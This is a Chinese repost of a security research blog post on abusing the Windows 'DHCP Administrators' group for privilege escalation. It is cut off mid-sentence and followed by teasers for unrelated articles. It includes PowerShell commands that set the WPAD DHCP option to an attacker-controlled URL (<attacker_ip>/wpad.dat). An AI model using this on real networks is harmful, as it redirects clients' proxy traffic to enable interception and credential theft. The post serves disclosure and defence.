滥用 DHCP 管理员组来提升 Windows 域中的权限

news2024/11/16 4:28:07

介绍

从 Google Docs 到 Active Directory,访问管理几乎影响到组织中的每个角色。在讨论权限和访问控制时,如何最大限度地减少员工的挫败感而不增加不必要的风险是一个微妙的平衡——安全团队痛苦地意识到了这一点。

因此,“刚好足够的访问权限”是任何访问策略的关键要素。归根结底,每个用户都应被授予一组执行其职责所需的权限,但在其他方面应尽可能受到限制。这可以减少任何单个用户受到攻击的影响,防止横向移动和进一步利用。

尽管它可以消除大部分风险,但逐个身份管理访问权限并不现实或可行,尤其是在企业级别。相反,用户访问组根据工作职能提供通用权限——这是 AD 中最常见的概念。例如,Microsoft 提供了“DNS 管理员”组,这是一个负责管理 DNS 服务器的 AD 组。遵循“刚好足够的访问权限”原则,其成员对托管 DNS 服务器的计算机没有权限,而只有与 DNS 服务相关的配置权限。

虽然从理论上讲,这一切都是可行的,但实际上,情况却截然不同。Shay Ber 在 2017 年的研究中展示了“DNS Admins”组的成员如何滥用该组的一项特权在 DNS 服务器上执行代码,这几乎总是会导致特权升级为域管理员。

Microsoft DHCP 提供了一个类似的安全组,称为“DHCP 管理员”。在最近对 Microsoft DHCP 进行 研究时,我们想到了一个问题:使用该组查找类似的原语:DHCP 管理员可以成为域管理员吗?事实证明,有时确实可以。

在这篇博文中,我们将介绍 DHCP 管理员组,并展示如何滥用其特权之一来危害 DHCP 服务器,包括在 DHCP 服务器安装在 DC 上的情况下进行完整的域接管。

我们还将展示如何使用同样的技术来建立有趣的域持久机制,并提供实现“ DHCP 后门”的细节。

由于此技术使用 DHCP 管理员可用的合法权限和选项,因此没有像补丁这样的简单解决方案——因为不存在漏洞。为了帮助降低此技术带来的风险,我们在本博客文章中提供了详细的缓解和检测步骤。

什么是 DHCP 管理员?

DHCP管理员组是一个 AD 用户组,用于管理动态主机配置协议 (DHCP) 服务器。它允许其成员查询和修改远程服务器上的 DHCP 服务的配置。

重要的是,其成员对 DHCP 服务器计算机本身没有权限,而只能对 DHCP 服务配置有权限。这意味着 DHCP 管理员不能在 DHCP 服务器上执行代码,而只能修改与 DHCP 相关的配置。DHCP 管理员控制的配置之一是DHCP 选项。

滥用 DHCP 选项

网络客户端需要一组配置才能加入网络,其中包括 IP 地址和子网掩码、默认网关地址和 DNS 服务器等。DHCP 服务器以 DHCP 选项的形式将这些配置通告给其客户端 — 不同的配置与定义的选项 ID 相结合,并由客户端查询(图 1)。
DHCP 客户端请求其所需的选项,并根据响应修改其网络配置。由于能够在服务器上控制这些选项的值,因此客户端请求的每个选项都可能被攻击者滥用来注入恶意配置。

为了了解 Windows 客户端上的潜在攻击面,我们可以检查默认请求的选项(图 2)。

代理自动发现

我们可以看到,请求的配置之一是“代理自动发现”选项(图 2 中以蓝色突出显示),用于自动配置 Web 代理(WPAD )。此选项允许 DHCP 服务器指定“ wpad.dat ”文件的 URL ,该文件包含客户端要使用的代理设置。

我们可以通过运行以下 PowerShell 命令来配置此选项并将我们的地址指定为代理:

Add-DhcpServerv4OptionDefinition -name wpad -OptionId 252 -type String
  Set-DhcpServerv4OptionValue -Wpad "http://<attacker_ip>/wpad.dat" -ScopeId 172.25.0.0

设置此选项后,我们看到 Windows 客户端在

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2067461.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

鸿蒙内核源码分析(用户态锁篇) | 如何使用快锁Futex(上)

快锁上下篇 鸿蒙内核实现了Futex&#xff0c;系列篇将用两篇来介绍快锁&#xff0c;主要两个原因: 网上介绍Futex的文章很少&#xff0c;全面深入内核介绍的就更少&#xff0c;所以来一次详细整理和挖透。涉及用户态和内核态打配合&#xff0c;共同作用&#xff0c;既要说用户…

日志文件切割:以分隔割tomcat 的 catalina.out 文件为例子

文章目录 引言I 日志文件切割使用用crontab工具,定时执行任务通过Linux系统自带的切割工具logrotate来进行切割【推荐】基于其他日志框架进行分隔II 扩展logrotate 简介logrotate 用法引言 问题:tomcat 的 catalina.out 文件不会进行日志切割,当这个文件大于2G 时,会影响to…

归并排序、计数排序及排序大总结

一、归并排序 1.基本思想 归并排序&#xff08;MERGE-SORT&#xff09;是建立在归并操作上的一种有效的排序算法&#xff0c;该算法是采用分治法&#xff08;Divide andConquer&#xff09;的一个非常典型的应用。将已有序的子序列合并&#xff0c;得到完全有序的序列&#x…

如何使用ssm实现社区管理与服务的设计与实现

TOC ssm031社区管理与服务的设计与实现jsp 第一章 绪论 1.1研究背景 当今时代是飞速发展的信息时代。在各行各业中离不开信息处理&#xff0c;这正是计算机被广泛应用于信息管理系统的环境。计算机的最大好处在于利用它能够进行信息管理。使用计算机进行信息控制&#xff0…

[Meachines] [Easy] grandpa IIS 6.0+CVE-2017-7269+MS14-070权限提升

信息收集 IP AddressOpening Ports10.10.10.14TCP:80 $ nmap -p- 10.10.10.14 --min-rate 1000 -sC -sV -Pn PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 6.0 |_http-server-header: Microsoft-IIS/6.0 |_http-title: Under Construction | htt…

一文了解机器学习顶会ICML 2024的研究热点

对人工智能研究领域前沿方向的跟踪是提高科研能力和制定科研战略的关键。本文通过图文并茂的方式介绍了ICML 2024的研究热点&#xff0c;帮助读者了解和跟踪机器学习和人工智能的前沿研究方向。本推文的作者是许东舟&#xff0c;审校为邱雪和黄星宇。 1 会议介绍 ICML&#x…

揭秘!挑选随身WiFi的终极攻略:一篇文章教会你怎么挑选随身WiFi,学会对比各项参数,随身WiFi哪个好?

对于不方便拉宽带的大流量使用者&#xff0c;随身WiFi尤为重要。面对市场上琳琅满目的随身WiFi品牌和型号&#xff0c;许多用户感到无从下手。不同随身WiFi在性能、价格、续航等方面各有优势&#xff0c;如何挑选一款适合自己的随身WiFi成为了一大难题。本文将为您详细解析随身…

22 Message 组件

Tkinter Message 组件使用指南 Tkinter 的 Message 组件用于显示多行文本消息。它通常用于显示提示信息、警告或状态更新。Message 组件能够自动换行&#xff0c;以适应其分配的空间。以下是对 Message 组件的详细说明和一个使用案例。 Message 组件属性 text: 要显示的文本…

3D 打印的突破:热引发剂在立体光刻中的应用

在当今科技飞速发展的时代&#xff0c;3D打印技术作为一项具有创新性和颠覆性的技术&#xff0c;正不断改变着我们的生产和生活方式。今天&#xff0c;向大家介绍的是一项关于3D打印的重要研究成果《3D printing by stereolithography using thermal initiators》发表于《Natur…

【前端面试】call、apply 、bind、箭头函数

函数除了传参,还有一个调用上下文this,使用call、apply 、bind可以改变函数的this 在实际开发中,选择使用 call、apply 还是 bind 取决于你的具体需求和场景。以下是一些使用这些函数的常见情况: 1. 使用 call 的情况: 当你需要调用一个函数,并且需要明确指定 this 的上下…

【HarmonyOS NEXT星河版开发实战】天气查询APP

目录 前言 界面效果展示 首页 添加和删除 界面构建讲解 1. 获取所需数据 2. 在编译器中准备数据 3. index页面代码讲解 3.1 导入模块&#xff1a; 3.2 定义组件&#xff1a; 3.3 定义状态变量: 3.4 定义Tabs控制器: 3.5 定义按钮样式&#xff1a; 3.6 页面显示时触发…

【django进阶知识点】

day04 django进阶知识点 今日概要&#xff1a; 模板中间件ORM操作&#xff08;pymysql SQL语句&#xff09;session和cookie缓存&#xff08;很多种方式&#xff09; 内容回顾 请求周期 路由系统 最基本路由关系动态路由&#xff08;含正则&#xff09;路由分发不同的app中…

如何通过数据互通提升销售效率与客户满意度

在快速变化的市场中&#xff0c;品牌商与经销商之间的数据互通已成为提升竞争力的关键。让我们以知名品牌——百威啤酒为例&#xff0c;探讨与经销商数据互通如何帮助这些企业解决实际问题&#xff0c;并为各个部门带来益处。 假如一个以下场景 夏日狂欢节 想象一下&#xff…

Viper快速使用(超简单)

Viper主要是用来在配置管理方面用的&#xff0c;只要是稍微大一点的项目都需要进行配置管理&#xff0c;而Viper支持多种配置格式&#xff08;JSON、YAML、TOML&#xff09;登&#xff0c;可以配置环境变量&#xff0c;命令行参数登&#xff0c;使得应用程序配置的管理变得非常…

《机器学习》 决策树剪枝、树模型参数及案例演示

目录 一、决策树剪枝 1、什么是决策树剪枝&#xff1f; 2、如何剪枝 3、剪枝剪哪个位置的叶子结点 二、树模型参数及用法 1、参数种类 2、参数解释 1&#xff09;criterion&#xff1a;gini or entropy 2&#xff09;splitter&#xff1a;best or random 3&#xff0…

【解析几何笔记】6.三阶行列式

6. 三阶行列式 6.1 三阶行列式的定义 对三阶方阵 ( a 1 a 2 a 3 b 1 b 2 b 3 c 1 c 2 c 3 ) \begin{pmatrix} a_{1} & a_{2} & a_{3}\\ b_{1} & b_{2} & b_{3}\\ c_{1} & c_{2} &c_{3} \end{pmatrix} ​a1​b1​c1​​a2​b2​c2​​a3​b3​c3​​ …

案例分享—国外金融软件界面设计

国外金融软件界面设计追求简洁&#xff0c;旨在减少用户认知负担&#xff0c;通过直观布局与清晰信息架构&#xff0c;提升操作效率与用户体验 其简洁性还源于对金融数据精准呈现的重视&#xff0c;避免冗余元素干扰&#xff0c;确保用户快速获取关键信息&#xff0c;做出明智决…

《机器学习》周志华-CH2(模型评估与选择)

2.1经验误差与过拟合 2.1.1典型的机器学习过程 2.1.2误差 当有 m m m个样本&#xff0c;其中 a a a个分类错误&#xff0c;则错误率为 E a / m Ea/m Ea/m&#xff1b;相应地&#xff0c; 1 − a / m 1-a/m 1−a/m称为精度。 2.1.3过拟合与欠拟合 过拟合&#xff1a;学习能力…

【LeetCode每日一题】——1046.最后一块石头的重量

文章目录 一【题目类别】二【题目难度】三【题目编号】四【题目描述】五【题目示例】六【题目提示】七【解题思路】八【时间频度】九【代码实现】十【提交结果】 一【题目类别】 优先队列 二【题目难度】 简单 三【题目编号】 1046.最后一块石头的重量 四【题目描述】 有…

蓝队技能-应急响应篇钓鱼攻击邮件与文件EML还原蠕虫分析线索定性

知识点&#xff1a; 1、应急响应-钓鱼邮件-定性&排查 2、应急响应-恶意文件-应急&分析一、演示案例-蓝队技能-钓鱼攻击-邮件&附件&分析&排查 如何分析邮件安全性&#xff1a; 1、看发信人地址 2、看发信内容信息 3、看发信内容附件 4、看邮件原文源码…